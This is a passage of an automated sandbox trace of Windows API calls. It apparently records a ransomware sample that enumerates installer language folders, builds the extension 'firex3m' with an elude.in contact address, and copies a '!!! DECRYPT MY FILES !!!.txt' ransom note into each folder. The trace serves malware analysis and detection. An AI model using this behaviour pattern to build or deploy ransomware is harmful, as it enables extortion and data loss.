decrypt my files !!!.txt") returned 0x1c [0087.571] GetProcessHeap () returned 0x630000 [0087.571] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b04f8, Size=0x1c) returned 0x6e8f40 [0087.571] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0087.571] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1033\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\1033\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 1 [0087.571] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\1033\\setupresources.dll") returned 0x2d [0087.571] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.571] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.571] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.571] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.571] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.571] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0087.572] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1035", cAlternateFileName="")) returned 1 [0087.572] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\1035\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\1035\\") returned 1 [0087.572] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1035\\") returned 0x1b [0087.572] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0087.572] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0087.573] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5580 [0087.573] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.573] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0087.573] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\1035\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 1 [0087.573] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\1035\\eula.rtf") returned 0x23 [0087.573] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.573] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.573] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.573] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.573] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0087.573] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0087.574] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf371c69a, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5000 [0087.574] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0087.574] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\1035\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\1035\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0087.582] GetProcessHeap () returned 0x630000 [0087.582] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8f40, Size=0x20) returned 0x6e9378 [0087.582] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0087.583] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1035\\eula.rtf", psz="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 1 [0087.583] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\1035\\localizeddata.xml") returned 0x2c [0087.583] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.583] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.583] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.583] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.583] GetProcessHeap () returned 0x630000 [0087.583] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9378, Size=0x24) returned 0x699c78 [0087.583] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0087.583] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1035\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\1035\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 1 [0087.583] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1035\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\1035\\setupresources.dll") returned 0x2d [0087.583] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.583] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0087.584] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0087.584] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0087.584] FindNextFileW (in: hFindFile=0x6d5580, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.584] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0087.584] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0087.584] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\1036\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\1036\\") returned 1 [0087.584] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1036\\") returned 0x1b [0087.584] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0087.584] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0087.584] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5280 [0088.043] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.044] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.044] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\1036\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 1 [0088.044] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\1036\\eula.rtf") returned 0x23 [0088.044] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.044] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0088.044] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0088.044] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0088.044] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0088.044] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0088.044] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf37428cd, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5500 [0088.045] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0088.045] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\1036\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\1036\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0088.048] GetProcessHeap () returned 0x630000 [0088.048] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0418, Size=0x1c) returned 0x6e8f40 [0088.048] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.048] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1036\\eula.rtf", psz="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 1 [0088.049] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\1036\\localizeddata.xml") returned 0x2c [0088.049] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.049] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0088.049] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0088.049] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0088.049] GetProcessHeap () returned 0x630000 [0088.049] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8f40, Size=0x20) returned 0x6e8fb8 [0088.049] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.049] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1036\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\1036\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 1 [0088.049] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\1036\\setupresources.dll") returned 0x2d [0088.049] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.049] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0088.049] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0088.050] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0088.050] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0088.050] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0088.050] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1037", cAlternateFileName="")) returned 1 [0088.050] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\1037\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\1037\\") returned 1 [0088.050] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1037\\") returned 0x1b [0088.050] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0088.050] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0088.050] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5500 [0088.051] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.051] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 